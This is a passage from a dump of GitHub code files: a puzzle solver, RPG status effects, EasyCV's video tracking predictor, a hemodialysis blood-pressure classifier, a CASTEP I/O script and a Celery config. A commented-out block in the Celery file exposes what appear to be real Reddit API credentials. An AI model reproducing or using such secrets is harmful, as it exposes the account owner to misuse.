range(T):\n    sol = 0\n    arr = [list(input()) for _ in range(R)]\n    data = []\n    flag = 0\n    while flag == 0:\n        chk = [[0] * C for _ in range(R)]\n        for i in range(R-1, -1, -1):\n            for j in range(C):  # 색깔 찾기\n                if arr[i][j] != '.':\n                    BFS(i,j)\n        sol += 1\n        flag = PuyoPuyo(data)\n    print(sol-1)","repo_name":"hoyoung2176/TIL","sub_path":"Algorithm/test/AD/뿌요뿌요.py","file_name":"뿌요뿌요.py","file_ext":"py","file_size_in_byte":1926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"12099417195","text":"\n\nimport json\nimport os\n\n# effects that make you miss your turn\ncripef = ['freeze']\nnottargetef = ['shadowed']\n\n\ndef load_effects():\n    effectpath = 'Data/Game/Effects/'\n    effectdata = {}\n    for file in os.listdir(effectpath):\n        name, ext = os.path.splitext(file)\n        effectdata[name] = json.load(open(effectpath + file))\n    return effectdata\n\n\neffectdata = load_effects()\n\n\ndef load_emoji():\n    emoji = {}\n    for key, value in effectdata.items():\n        emoji[key] = value['emoji']\n\n    return emoji\n\n\ndef has_effect_list(eflist, target):\n    end = False\n    for ef in eflist:\n        end = has_effect(ef, target) or end\n\n    return end\n\n\ndef has_effect(ef, target):\n    if ef in [effect for effect, duration in target.effects]:\n        return True\n    else:\n        return False\n\n\ndef get_effect(ef, target):\n    return [[effect, duration] for effect, duration in target.effects if effect == ef][0]\n\n\ndef remove_ef(ef, target):\n    if has_effect(ef, target):\n        to_remove = [[effect, duration] for effect, duration in target.effects if effect == ef][0]\n        target.effects.remove(to_remove)\n        end(to_remove, target)\n        print('removed {}'.format(ef))\n    else:\n        print('couldnt remove {}'.format(ef))\n\n\ndef start(ef, target):\n    if ef == 'burn':\n        remove_ef('freeze', target)\n    if ef == 'freeze':\n        remove_ef('burn', target)\n    if ef == 'shielded':\n        target.stats['defense'] += 500\n    if ef == 'magic_barrier':\n        target.stats['magic_defense'] += 500\n    if ef == 'strength':\n        target.stats['strength'] += 50\n    if ef == 'intelligence':\n        target.stats['intelligence'] += 50\n    if ef == 'invincible':\n        target.stats['magic_defense'] += 100000\n        target.stats['defense'] += 100000\n    if ef == 'cursed':\n        remove_ef('strength', target)\n        remove_ef('intelligence', target)\n        for stat, value in target.stats.items():\n            value -= 20\n\n\ndef tick(ef, target):\n    if ef == 'burn':\n        target.health -= 5\n        return 'Burn 🔥 hits {0.name} for 5 damage'.format(target)\n    if ef == 'freeze':\n        return '{0.name} ❄️ is frozen'.format(target)\n    if ef == 'bleed':\n        dmg = (target.maxhealth - target.health) / 100\n        target.health -= dmg\n        return '{0.name} 💉 is bleeding for {} damage'.format(target, dmg)\n    if ef == 'shadowed':\n        return '{0.name} 🌑 moves in the shadows'.format(target, dmg)\n    if ef == 'shielded':\n        return '{0.name} 🛡️ hides behind the shield'.format(target, dmg)\n    if ef == 'magic_barrier':\n        return '{0.name} 🔰️ is protected by a magic barrier'.format(target, dmg)\n    if ef == 'strength':\n        return '{0.name} 💪️ is full of strength'.format(target, dmg)\n    if ef == 'intelligence':\n        return '{0.name} 🧠️ is clear minded'.format(target, dmg)\n    if ef == 'cleanse':\n        for ef in target.effects:\n            remove_ef(ef[0], target)\n        return '{0.name} 😶️ is immune to effects'.format(target, dmg)\n    if ef == 'invincible':\n        return '{0.name} 🔱️ is busy not taking damage'.format(target, dmg)\n    if ef == 'cursed':\n        return '{0.name} 🎃️ suffers under a curse'.format(target, dmg)\n    return None\n\n\ndef end(ef, target):\n    if ef == 'burn':\n        return '{0.name} has stopped burning'.format(target)\n\n    if ef == 'freeze':\n        return '{0.name} is no longer frozen'.format(target)\n\n    if ef == 'bleed':\n        return '{0.name} has stopped bleeding'.format(target)\n\n    if ef == 'shadowed':\n        return '{0.name} has emerged from the shadows'.format(target)\n\n    if ef == 'shielded':\n        target.stats['defense'] -= 500\n        return '{0.name} is no longer protected by the shield'.format(target)\n\n    if ef == 'magic_barrier':\n        target.stats['magic_defense'] -= 500\n        return '{0.name} is no longer protected by the magic barrier'.format(target)\n\n    if ef == 'strength':\n        target.stats['strength'] -= 50\n        return '{0.name} has lost their extra strength'.format(target)\n\n    if ef == 'intelligence':\n        target.stats['intelligence'] -= 50\n        return '{0.name} has lost their extra intelligence'.format(target)\n\n    if ef == 'cleanse':\n        return '{0.name} is no longer immune against effects'.format(target)\n\n    if ef == 'invincible':\n        return '{0.name} can take damage again'.format(target)\n\n    if ef == 'cursed':\n        for stat, value in target.stats.items():\n            value += 20\n        return '{0.name} can take damage again'.format(target)\n","repo_name":"chluebi/RPGBot","sub_path":"Data/Game/effects.py","file_name":"effects.py","file_ext":"py","file_size_in_byte":4575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"22461934561","text":"import glob\nimport os\nimport os.path as osp\nimport tempfile\nfrom argparse import ArgumentParser\n\nimport cv2\nimport mmcv\n\nfrom easycv.thirdparty.mot.bytetrack.byte_tracker import BYTETracker\nfrom easycv.thirdparty.mot.utils import detection_result_filter, show_result\nfrom .builder import PREDICTORS, build_predictor\n\n\n@PREDICTORS.register_module()\nclass MOTPredictor(object):\n    \"\"\"MOT Predictor.\n\n\n    Args:\n        model_path (str): Path of model path.\n        config_file (Optinal[str]): config file path for model and processor to init. Defaults to None.\n        score_threshold(float): Specifies the filter score threshold for bbox.\n        tracker_config (dict): Specify the parameters of the tracker.\n        save_path (str): File path for saving results.\n        fps: (int): Specify the fps of the output video.\n    \"\"\"\n\n    def __init__(\n            self,\n            model_path=None,\n            config_file=None,\n            detection_predictor_config={\n                'type': 'DetectionPredictor',\n                'model_path': None,\n                'config_file': None,\n                'score_threshold': 0.5\n            },\n            tracker_config={\n                'det_high_thresh': 0.2,\n                'det_low_thresh': 0.05,\n                'match_thresh': 1.0,\n                'match_thresh_second': 1.0,\n                'match_thresh_init': 1.0,\n                'track_buffer': 2,\n                'frame_rate': 25\n            },\n            show_result_config={\n                'score_thr': 0,\n                'show': False\n            },\n            save_path=None,\n            IN_VIDEO=False,\n            OUT_VIDEO=False,\n            out_dir=None,\n            fps=24):\n\n        if model_path is not None:\n            detection_predictor_config['model_path'] = model_path\n        if config_file is not None:\n            detection_predictor_config['config_file'] = config_file\n        self.model = build_predictor(detection_predictor_config)\n        self.tracker = BYTETracker(**tracker_config)\n        self.fps = fps\n        self.show_result_config = show_result_config\n        self.output = save_path\n        self.IN_VIDEO = IN_VIDEO\n        self.OUT_VIDEO = OUT_VIDEO\n        self.out_dir = out_dir\n\n    def define_input(self, inputs):\n        # support list(dict(str)) as input\n        if isinstance(inputs, str):\n            inputs = [{'filename': inputs}]\n        elif isinstance(inputs, list) and not isinstance(inputs[0], dict):\n            tmp = []\n            for input in inputs:\n                tmp.append({'filename': input})\n            inputs = tmp\n\n        # define input\n        input = inputs[0]['filename']\n        if osp.isdir(input):\n            imgs = glob.glob(os.path.join(input, '*.jpg'))\n            imgs.sort()\n            self.IN_VIDEO = False\n        else:\n            imgs = mmcv.VideoReader(input)\n            self.IN_VIDEO = True\n\n        return imgs, input\n\n    def define_output(self):\n        if self.output is not None:\n            if self.output.endswith('.mp4'):\n                self.OUT_VIDEO = True\n                self.out_dir = tempfile.TemporaryDirectory()\n                out_path = self.out_dir.name\n                _out = self.output.rsplit(os.sep, 1)\n                if len(_out) > 1:\n                    os.makedirs(_out[0], exist_ok=True)\n            else:\n                self.OUT_VIDEO = False\n                out_path = self.output\n                os.makedirs(out_path, exist_ok=True)\n        else:\n            out_path = None\n        return out_path\n\n    def __call__(self, inputs):\n        # define input\n        imgs, input = self.define_input(inputs)\n        # define output\n        out_path = self.define_output()\n\n        prog_bar = mmcv.ProgressBar(len(imgs))\n        # test and show/save the images\n        track_result = None\n        track_result_list = []\n        for frame_id, img in enumerate(imgs):\n            if osp.isdir(input):\n                timestamp = frame_id\n            else:\n                seconds = imgs.vcap.get(cv2.CAP_PROP_POS_MSEC) / 1000\n                timestamp = seconds\n\n            detection_results = self.model(img)[0]\n\n            detection_boxes = detection_results['detection_boxes']\n            detection_scores = detection_results['detection_scores']\n            detection_classes = detection_results['detection_classes']\n\n            detection_boxes, detection_scores, detection_classes = detection_result_filter(\n                detection_boxes,\n                detection_scores,\n                detection_classes,\n                target_classes=[0],\n                target_thresholds=[0])\n            if len(detection_boxes) > 0:\n                track_result = self.tracker.update(\n                    detection_boxes, detection_scores,\n                    detection_classes)  # [id, t, l, b, r, score]\n                track_result['timestamp'] = timestamp\n                track_result_list.append(track_result)\n\n            if self.output is not None:\n                if self.IN_VIDEO or self.OUT_VIDEO:\n                    out_file = osp.join(out_path, f'{frame_id:06d}.jpg')\n                else:\n                    out_file = osp.join(out_path, img.rsplit(os.sep, 1)[-1])\n            else:\n                out_file = None\n\n            if out_file is not None:\n                show_result(\n                    img,\n                    track_result,\n                    wait_time=int(1000. / self.fps),\n                    out_file=out_file,\n                    **self.show_result_config)\n            prog_bar.update()\n\n        if self.output and self.OUT_VIDEO:\n            print(\n                f'making the output video at {self.output} with a FPS of {self.fps}'\n            )\n            mmcv.frames2video(\n                out_path, self.output, fps=self.fps, fourcc='mp4v')\n            self.out_dir.cleanup()\n\n        return [track_result_list]\n","repo_name":"alibaba/EasyCV","sub_path":"easycv/predictors/mot_predictor.py","file_name":"mot_predictor.py","file_ext":"py","file_size_in_byte":5878,"program_lang":"python","lang":"en","doc_type":"code","stars":1565,"dataset":"github-code","pt":"60"}
+{"seq_id":"39213810031","text":"# %%\n# 引入包\nimport keras.backend as K\nfrom keras.layers.advanced_activations import LeakyReLU\nfrom keras.utils import np_utils\nfrom keras.layers.core import Dense, Activation\nfrom keras import regularizers\nfrom sklearn.linear_model import LogisticRegressionCV\nfrom keras.models import Sequential\nfrom keras.optimizers import RMSprop\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom sklearn.utils import class_weight\nimport pandas as pd\nfrom tensorflow.python.keras.engine.base_layer import AddMetric\nfrom tensorflow.python.keras.metrics import Recall\nplt.style.use('ggplot')\n# %%\n# 导入数据\ninput1 = pd.read_csv(\"data/基本信息.csv\", encoding=\"gbk\")\ninput3 = pd.read_csv(\"data/透析中记录.csv\", encoding=\"gbk\")\ninput2 = pd.read_csv(\"data/血透治疗单.csv\", encoding=\"gbk\")\n# %%\nfor i in input1:\n    print(input1[i].value_counts())\nprint(\"----------\")\nfor i in input2:\n    print(input2[i].value_counts())\nfor i in input3:\n    print(input3[i].value_counts())\n# %%\n# 文件1编码转换\ninput1.replace(\"男\", 1, inplace=True)\ninput1.replace(\"女\", 0, inplace=True)\ninput1[\"birthDay\"] = input1[\"birthDay\"].apply(\n    lambda x: 2019-int(x.split(\"-\")[0]))\ninput1.to_csv(\"outputcsv/mid1.csv\", index=None,\n              float_format='%.3f', encoding=\"gbk\")\n# %%\n# 文件2聚合\nmid2 = input2.groupby([\"病人id\", \"examineDate\"]).transform('sum')\nmid2[\"病人id\"] = input2[\"病人id\"]\nmid2.drop_duplicates(subset=\"参数记录\", inplace=True, keep=\"first\")\ninput2 = mid2\ninput2.to_csv(\"outputcsv/mid2.csv\", index=None,\n              float_format='%.3f', encoding=\"gbk\")\n# %%\n# 文件3处理\ninput3 = input3.drop(\"收缩压\", axis=1)\ninput3.replace(\"\", np.nan, inplace=True)\ninput3.dropna(inplace=True)\n\ninput3.to_csv(\"outputcsv/mid3.csv\", index=None,\n              float_format='%.3f', encoding=\"gbk\")\n# %%\n# 读入数据\n# %%\n# merge处理\nmid1 = pd.read_csv(\"outputcsv/mid1.csv\", encoding=\"gbk\")\nmid2 = pd.read_csv(\"outputcsv/mid2.csv\", encoding=\"gbk\")\nmid3 = pd.read_csv(\"outputcsv/mid3.csv\", encoding=\"gbk\")\n#input3 = input3.drop([\"病人id\", \"记录时间\"], axis=1)\n# %%\nmid4 = pd.merge(mid3.drop(\"病人id\", axis=1), mid2, on=\"参数记录\")\nmid4.to_csv(\"outputcsv/mid4.csv\", index=None,\n            float_format='%.3f', encoding=\"gbk\")\n# %%\nout = pd.merge(mid4, mid1, on=\"病人id\")\nout = out.rename(columns={'birthDay': '年龄'})\nout.to_csv(\"outputcsv/out.csv\", index=None,\n           float_format='%.3f', encoding=\"gbk\")\n\n# %%\nout = pd.read_csv(\"outputcsv/out.csv\", encoding=\"gbk\")\nplt.matshow(out.corr(method=\"pearson\"))\nplt.colorbar()\nplt.show()\n# %%\n# 近零方差属性筛查\nl = []\nla = []\nfor i in out:\n    la.append(i[0:1])\n    l.append(out[i].value_counts().iloc[0])\nx = range(len(l))\nplt.bar(x, height=l, width=0.4, alpha=0.8, label=\"数量最大值\")\nplt.rcParams['font.sans-serif'] = ['SimHei']\nplt.rcParams['axes.unicode_minus'] = False\nplt.ylabel(\"出现次数\")\nplt.xticks([index for index in x], la)\nplt.xlabel(\"属性\")\nplt.title(\"近零方差变量统计\")\nplt.show()\n# %%\n# 特征选取\nfea = out.drop([\"电导度\", \"透析液温度\"], axis=1)\n\n\n# %%\n# 三种分类标签生成函数定义\n\n\ndef sbp1(df):\n    n = len(df)\n    series = pd.Series(0, dtype=int).reindex(df.index, method='pad')\n    for i in range(n-1):\n        sbpt = df['收缩压数值'].iloc[i]\n        sbpt1 = df['收缩压数值'].iloc[i+1]\n        if sbpt1 < 90.0:\n            series.iloc[i] = 1\n    series.iloc[n-1] = np.nan\n    return series\n\n\ndef sbp2(df):\n    n = len(df)\n    series = pd.Series(0, dtype=int).reindex(df.index, method='pad')\n    for i in range(n - 1):\n        sbpt = df['收缩压数值'].iloc[i]\n        sbpt1 = df['收缩压数值'].iloc[i+1]\n        if sbpt-sbpt1 > 25.0:\n            series.iloc[i] = 1\n    series.iloc[n-1] = np.nan\n    return series\n\n\ndef sbp3(df):\n    n = len(df)\n    series = pd.Series(0, dtype=int).reindex(df.index, method='pad')\n    for i in range(n-1):\n        sbpt = df['收缩压数值'].iloc[i]\n        sbpt1 = df['收缩压数值'].iloc[i+1]\n        if 0.75*sbpt > sbpt1:\n            series.iloc[i] = 1\n    series.iloc[n-1] = np.nan\n    return series\n\n\ndef add123(df):\n    df['sbp1'] = sbp1(df)\n    df['sbp2'] = sbp2(df)\n    df['sbp3'] = sbp3(df)\n    return df\n\n\n# %%\nfea = fea.groupby(['病人id', '参数记录']).apply(add123)\nfea = fea.dropna()\nfea.to_csv(\"outputcsv/fea.csv\", index=None,\n           float_format='%.3f', encoding=\"gbk\")\n\n# %%\nfor i in fea:\n    print(fea[i].value_counts())\n\n\n# %%\n# 再次读入数据\n# 提取原始12列属性中的特征\nfea = pd.read_csv(\"outputcsv/fea.csv\", encoding=\"gbk\")\nfea = fea.drop(\"病人id\", axis=1)\nfea = fea.drop(\"参数记录\", axis=1)\nfea = fea.drop(\"记录时间\", axis=1)\nfea[\"收缩压数值\"] = fea[\"收缩压数值\"]-fea[\"透析前收缩压\"]\nfea = fea.drop(\"透析前收缩压\", axis=1)\nprint(fea.shape)\n\n# %%\n# 自定义的优化recall函数\n\n\ndef getRecall(y_true, y_pred):\n    TP = K.sum(K.round(K.clip(y_true * y_pred, 0, 1)))  # TP\n    P = K.sum(K.round(K.clip(y_true, 0, 1)))\n    FN = P-TP  # FN=P-TP\n    recall = TP / (TP + FN + K.epsilon())  # TP/(TP+FN)\n    return recall\n\n# %%\n# 热编码实现\n\n\ndef one_hot_encode_object_array(arr):\n    uniques, ids = np.unique(arr, return_inverse=True)\n    return np_utils.to_categorical(ids, len(uniques))\n# %%\n# 模型生成函数\n\n\ndef Simplemodelcreate():\n    model = Sequential()\n    model.add(Dense(28, input_shape=(7,)))\n    model.add(Activation('sigmoid'))\n    model.add(Dense(2))\n    model.add(Activation('softmax'))\n    model.summary()\n    return model\n# %%\n# 数据平衡权重生成\n\n\ndef bal(y):\n    class_weight1 = class_weight.compute_class_weight('balanced',\n                                                      np.unique(y),\n                                                      y)\n    cw = dict(enumerate(class_weight1))\n    return cw\n\n\n# %%\n# 单层神经网络模拟实现逻辑回归算法\nX = fea.values[:, 0:7]\ny1 = fea.values[:, 7]\ny2 = fea.values[:, 8]\ny3 = fea.values[:, 9]\n# Make one -hot encoder\ntrain_y_ohe1 = one_hot_encode_object_array(y1)\ntrain_y_ohe2 = one_hot_encode_object_array(y2)\ntrain_y_ohe3 = one_hot_encode_object_array(y3)\n# 平衡数据集\ncw1 = bal(y1)\ncw2 = bal(y2)\ncw3 = bal(y3)\nmodel1 = Simplemodelcreate()\nmodel1.compile(loss='binary_crossentropy', metrics=[\n    'accuracy', getRecall], optimizer=RMSprop(lr=0.0001))\nmodel2 = Simplemodelcreate()\nmodel2.compile(loss='binary_crossentropy', metrics=[\n    'accuracy', getRecall], optimizer=RMSprop(lr=0.0001))\nmodel3 = Simplemodelcreate()\nmodel3.compile(loss='binary_crossentropy', metrics=[\n    'accuracy', getRecall], optimizer=RMSprop(lr=0.0001))\nhistory1 = model1.fit(X, train_y_ohe1, verbose=1, epochs=4,\n                      batch_size=9, validation_split=0.2, shuffle=True, class_weight=cw1)\n\nhistory2 = model2.fit(X, train_y_ohe2, verbose=1, epochs=4,\n                      batch_size=9, validation_split=0.2, shuffle=True, class_weight=cw2)\n\nhistory3 = model3.fit(X, train_y_ohe3, verbose=1, epochs=4,\n                      batch_size=9, validation_split=0.2, shuffle=True, class_weight=cw3)\n\nlr1 = model1.predict(X, batch_size=9, verbose=1, steps=None)\nlr2 = model2.predict(X, batch_size=9, verbose=1, steps=None)\nlr3 = model3.predict(X, batch_size=9, verbose=1, steps=None)\nmodel1.save(\"models/LRforsbplabel-1.h5\")\nmodel2.save(\"models/LRforsbplabel-2.h5\")\nmodel3.save(\"models/LRforsbplabel-3.h5\")\nprint(\"model saved!\")\n# %%\n# 模型生成函数\n\n\ndef SVMmodelcreate():\n    model = Sequential()\n    model.add(Dense(7, input_shape=(7,), kernel_regularizer=regularizers.l2(0.5)))\n    model.add(Activation('linear'))\n    model.add(Dense(2, kernel_regularizer=regularizers.l2(0.5)))\n    model.add(Activation('softmax'))\n    model.summary()\n    return model\n# %%\n# 自定义损失函数模拟svm分类器\n\n\ndef categorical_squared_hinge(y_true, y_pred):\n    y_true = 2. * y_true - 1  \n    # trans [0,1] to [-1,1]，注意这个，svm类别标签是-1和1\n    # hinge loss，参考keras自带的hinge loss\n    vvvv = K.maximum(1. - y_true * y_pred, 0.)\n    vvv = K.square(vvvv)\n    # 文章《Deep Learning using Linear Support Vector Machines》有进行平方\n    vv = K.sum(vvv, 1, keepdims=False)  \n    # axis=len(y_true.get_shape()) - 1\n    v = K.mean(vv, axis=-1)\n    return v\n\n\n# %%\n# 使用Keras实现svm分类器\nX = fea.values[:, 0:7]\ny1 = fea.values[:, 7]\ny2 = fea.values[:, 8]\ny3 = fea.values[:, 9]\n# Make one -hot encoder\ntrain_y_ohe1 = one_hot_encode_object_array(y1)\ntrain_y_ohe2 = one_hot_encode_object_array(y2)\ntrain_y_ohe3 = one_hot_encode_object_array(y3)\ncw1 = bal(y1)\ncw2 = bal(y2)\ncw3 = bal(y3)\nmodel1 = SVMmodelcreate()\nmodel1.compile(optimizer=RMSprop(lr=0.0001), loss=[\n               categorical_squared_hinge], metrics=['accuracy', getRecall])\nmodel2 = SVMmodelcreate()\nmodel2.compile(optimizer=RMSprop(lr=0.0001), loss=[\n               categorical_squared_hinge], metrics=['accuracy', getRecall])\nmodel3 = SVMmodelcreate()\nmodel3.compile(optimizer=RMSprop(lr=0.0001), loss=[\n               categorical_squared_hinge], metrics=['accuracy', getRecall])\nhistory1 = model1.fit(X, train_y_ohe1, verbose=1, epochs=8,\n                      batch_size=50, validation_split=0.2, shuffle=True)\n\n# history1 = model1.fit(X, train_y_ohe1, verbose=1, epochs=8,\n#                    batch_size=50, validation_split=0.2, shuffle=True,class_weight=cw1)\nhistory2 = model2.fit(X, train_y_ohe2, verbose=1, epochs=8,\n                      batch_size=50, validation_split=0.2, shuffle=True)\n# history2 = model2.fit(X, train_y_ohe2, verbose=1, epochs=8,\n#                    batch_size=50, validation_split=0.2, shuffle=True,class_weight=cw2)\nhistory3 = model3.fit(X, train_y_ohe3, verbose=1, epochs=8,\n                      batch_size=50, validation_split=0.2, shuffle=True)\n# history3 = model3.fit(X, train_y_ohe3, verbose=1, epochs=8,\n#                    batch_size=50, validation_split=0.2, shuffle=True,class_weight=cw3)\nsvm1 = model1.predict(X, batch_size=50, verbose=1, steps=None)\nsvm2 = model2.predict(X, batch_size=50, verbose=1, steps=None)\nsvm3 = model3.predict(X, batch_size=50, verbose=1, steps=None)\nmodel1.save(\"models/SVMforsbplabel-1.h5\")\nmodel2.save(\"models/SVMforsbplabel-2.h5\")\nmodel3.save(\"models/SVMforsbplabel-3.h5\")\nprint(\"model saved!\")\n# %%\n# 多层神经网络\ndef ANNmodelcreate():\n    model = Sequential()\n    model.add(Dense(144, input_shape=(7,),activation=LeakyReLU()))\n    model.add(Dense(72,activation=LeakyReLU()))\n    model.add(Dense(36,activation=LeakyReLU()))\n    model.add(Dense(18,activation=LeakyReLU()))\n    model.add(Dense(2))\n    model.add(Activation('softmax'))\n    model.summary()\n    return model\n\n\n# %%\n# 自己搭建多层神经网络\nX = fea.values[:, 0:7]\ny1 = fea.values[:, 7]\ny2 = fea.values[:, 8]\ny3 = fea.values[:, 9]\n# Make one -hot encoder\nep=6\ntrain_y_ohe1 = one_hot_encode_object_array(y1)\ntrain_y_ohe2 = one_hot_encode_object_array(y2)\ntrain_y_ohe3 = one_hot_encode_object_array(y3)\ncw1 = bal(y1)\ncw2 = bal(y2)\ncw3 = bal(y3)\nmodel1 = ANNmodelcreate()\nmodel1.compile(loss='binary_crossentropy', metrics=[\n    'accuracy', getRecall], optimizer=\"adam\")\nmodel2 = ANNmodelcreate()\nmodel2.compile(loss='binary_crossentropy', metrics=[\n    'accuracy', getRecall], optimizer=\"adam\")\nmodel3 = ANNmodelcreate()\nmodel3.compile(loss='binary_crossentropy', metrics=[\n    'accuracy', getRecall], optimizer=\"adam\")\n\nhistory1 = model1.fit(X, train_y_ohe1, verbose=1, epochs=ep,\n                    batch_size=20, validation_split=0.2, shuffle=True, class_weight=cw1)\n\nhistory2 = model2.fit(X, train_y_ohe2, verbose=1, epochs=ep,\n                     batch_size=20, validation_split=0.2, shuffle=True, class_weight=cw2)\n\nhistory3 = model3.fit(X, train_y_ohe3, verbose=1, epochs=ep,\n                     batch_size=20, validation_split=0.2, shuffle=True, class_weight=cw3)\nann1 = model1.predict(X, batch_size=20, verbose=1, steps=None)\nann2 = model2.predict(X, batch_size=20, verbose=1, steps=None)\nann3 = model3.predict(X, batch_size=20, verbose=1, steps=None)\nmodel1.save(\"models/ANNforsbplabel-1.h5\")\nmodel2.save(\"models/ANNforsbplabel-2.h5\")\nmodel3.save(\"models/ANNforsbplabel-3.h5\")\nprint(\"model saved!\")\n# %%\n# 结果可视化\n\n\ndef show(history):\n    print(history.history)\n    l = []\n    ll = []\n    for i in history.history:\n        ll.append(i)\n        l.append(history.history[i])\n    l = np.array(l).T\n    # print(l)\n    j = range(1, 1+len(l))\n    count = 0\n    for i in ll:\n        plt.plot(j, l[:, count], label=i)\n        count = count+1\n    plt.rcParams['font.sans-serif'] = ['SimHei']\n    plt.rcParams['axes.unicode_minus'] = False\n    plt.ylabel(\"训练参数值\")\n    plt.xlabel(\"训练轮数\")\n    plt.title(\"训练结果可视化\")\n    plt.legend()\n    plt.show()\n\n\n# %%\n# 训练可视化\nshow(history1)\nshow(history2)\nshow(history3)\n# %%\n# 矩阵标签转换为标签列\n\n\ndef trans(res):\n    l = []\n    for i in res:\n        if i[0] > i[1]:\n            l.append(0)\n        else:\n            l.append(1)\n    l = np.array(l)\n    return l\n\n\n# %%\n# 结果文件生成\nfea = pd.read_csv(\"outputcsv/fea.csv\", encoding=\"gbk\")\nres = pd.DataFrame()\nres[\"病人id\"] = fea[\"病人id\"]\nres[\"记录时间\"] = fea[\"记录时间\"]\nres[\"真实分类标签1\"] = fea[\"sbp1\"]\nres[\"真实分类标签2\"] = fea[\"sbp2\"]\nres[\"真实分类标签3\"] = fea[\"sbp3\"]\nres[\"LR分类器预测标签1\"] = trans(lr1)\nres[\"LR分类器预测标签2\"] = trans(lr2)\nres[\"LR分类器预测标签3\"] = trans(lr3)\nres[\"SVM分类器预测标签1\"] = trans(svm1)\nres[\"SVM分类器预测标签2\"] = trans(svm2)\nres[\"SVM分类器预测标签3\"] = trans(svm3)\nres[\"ANN分类器预测标签1\"] = trans(ann1)\nres[\"ANN分类器预测标签2\"] = trans(ann2)\nres[\"ANN分类器预测标签3\"] = trans(ann3)\n\nres.to_csv(\"outputcsv/result.csv\", index=None,\n           float_format='%.3f', encoding=\"gbk\")\n# %%\n\n# %%\nfor i in res:\n    print(res[i].value_counts())\n# %%\nres = pd.DataFrame()\nres[\"真实分类标签1\"] = fea[\"sbp1\"]\nres[\"真实分类标签2\"] = fea[\"sbp2\"]\nres[\"真实分类标签3\"] = fea[\"sbp3\"]\nlabel_list = [\"真实分类标签1\", \"真实分类标签2\", \"真实分类标签3\"]\nx = range(3)\nplt.style.use('ggplot')\nfor i in res:\n    print(res[i].value_counts())\n    rects1 = plt.bar(x, height=res[i].value_counts(\n    ).iloc[0], width=0.2, alpha=0.8,  label=\"低风险\")\n    rects2 = plt.bar([i + 0.2 for i in x],\n                     height=res[i].value_counts().iloc[1], width=0.2, label=\"高风险\")\nplt.rcParams['font.sans-serif'] = ['SimHei']\nplt.rcParams['axes.unicode_minus'] = False\nplt.xticks([index + 0.1 for index in x], label_list)\nplt.xlabel(\"标签\")\nplt.ylabel(\"数量\")\nplt.title(\"每种标签的数量直方图\")\nplt.show()\n\n# %%\n","repo_name":"zmzfpc/Dataming","sub_path":"1854116_朱明志_hw3/hw3.py","file_name":"hw3.py","file_ext":"py","file_size_in_byte":14658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"33774460561","text":"#!/usr/bin/python\n#------ This module operates on CASTEP output and input files\nimport sys\nfrom CASTEP_io_module import *\nfrom CASTEP_io_module_cellfile import *\n\n\n\n##############################################\n#------ Main\n##############################################\nname_flakes = Cellfile('CNT_66_CDT_cluster_convergence-newcell.2_flakes.cell')\nname_flakes.readdata()\n\"\"\"\n\t\tself.filename=name\n                self.k_points_spacing = None\n                self.lattice_vec_lines = None\n                self.lattice_vec = None\n                self.atomic_position_lines = None\n                self.atoms = None\n                self.ionic_constraints = None\n                self.extra_parameters = None\n\"\"\"\n\n\nname_flakes.get_celldata()\n#print ''.join(name_flakes.atomic_position_lines)\nname_flakes.get_atoms()\n#name_flakes.atoms[0].x += 1\n#name_flakes.update_atomic_lines()\n#print ''.join(name_flakes.atomic_position_lines)\n\nname_flakes.update_lattice_vectorlines()\n#print ''.join(name_flakes.lattice_vec)\n#print ''.join(name_flakes.atomic_position_lines)\n#print ''.join(name_flakes.ionic_constraints)\n#print ''.join(name_flakes.extra_parameters)\nname_flakes.write_cell('test.cell')\n\ntest_structure = Structure()\nname_flakes.populate_structure_class(test_structure)\n#print test_structure.lattice_vectors\n#print [o.x for o in test_structure.atom_list]\n\ntest_Atoms = get_xyz_positions('test_file.xyz')\ntest_vector = get_xyz_cell(test_Atoms)\n\nnew_cell = Cellfile()\nnew_cell.lattice_vec = test_vector\nnew_cell.atoms = test_Atoms\n\nnew_cell.update_atomic_lines()\nnew_cell.update_lattice_vectorlines()\n\nnew_cell.write_cell('supertest.cell')\n\n\n#------ Cstepfilefile test\n\ncastepfile_test = Castepfilefile('CNT_66_CDT_cluster_convergence-newcell.2_flakes.castep')\ncastepfile_test.readdata()\ncastepfile_test.get_lattice_vectors()\ncastepfile_test.get_atomic_position_lines()\ncastepfile_test.get_atomic_positions()\n\n","repo_name":"jgolebiowski/coding-workspace","sub_path":"castep_python/IO_module_testing_v0/CASTEP_script.py","file_name":"CASTEP_script.py","file_ext":"py","file_size_in_byte":1906,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"44735070164","text":"import os\n\nfrom celery import Celery\nfrom celery.schedules import crontab\n\n\n# set the default Django settings module for the 'celery' program.\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'HealthPartner.settings')\n\napp = Celery('HealthPartner')\n\n# Using a string here means the worker doesn't have to serialize\n# the configuration object to child processes.\n# - namespace='CELERY' means all celery-related configuration keys\n#   should have a `CELERY_` prefix.\napp.config_from_object('django.conf:settings', namespace='CELERY')\n\n\n@app.on_after_configure.connect\ndef setup_periodic_tasks(sender, **kwargs):\n    # Calls test('hello') every 10 seconds.\n    sender.add_periodic_task(10.0, get_post_by_reddit_Api.s(\"hello\"), name='add every 10')\n\n\n# Load task modules from all registered Django app configs.\n# @app.on_after_finalize\n# app.autodiscover_tasks()\n\n\n@app.task(bind=True)\ndef debug_task(self):\n    print(f'Request: {self.request!r}')\n\n@app.task()\ndef get_post_by_reddit_Api(arg):\n    # reddit = praw.Reddit(client_id='ISnOA13qK99q4A',\n    #                      client_secret='cEKVwb65zJJoejN6YphDRamyHycdHA',\n    #                      user_agent='my user agent')\n    #\n    # # to find the top most submission in the subreddit \"HEALTH\"\n    # subreddit = reddit.subreddit('HEALTH')\n    #\n    # for submission in subreddit.top(limit=5):\n    #     # displays the submission title\n    #     tweets = Tweets(user_name='hameeed', description=submission.title)\n    #     tweets.save()\n    print('periodic celery task ')\n","repo_name":"umairkhadim10/HealthPartner","sub_path":"HealthPartner/HealthPartner/celery.py","file_name":"celery.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
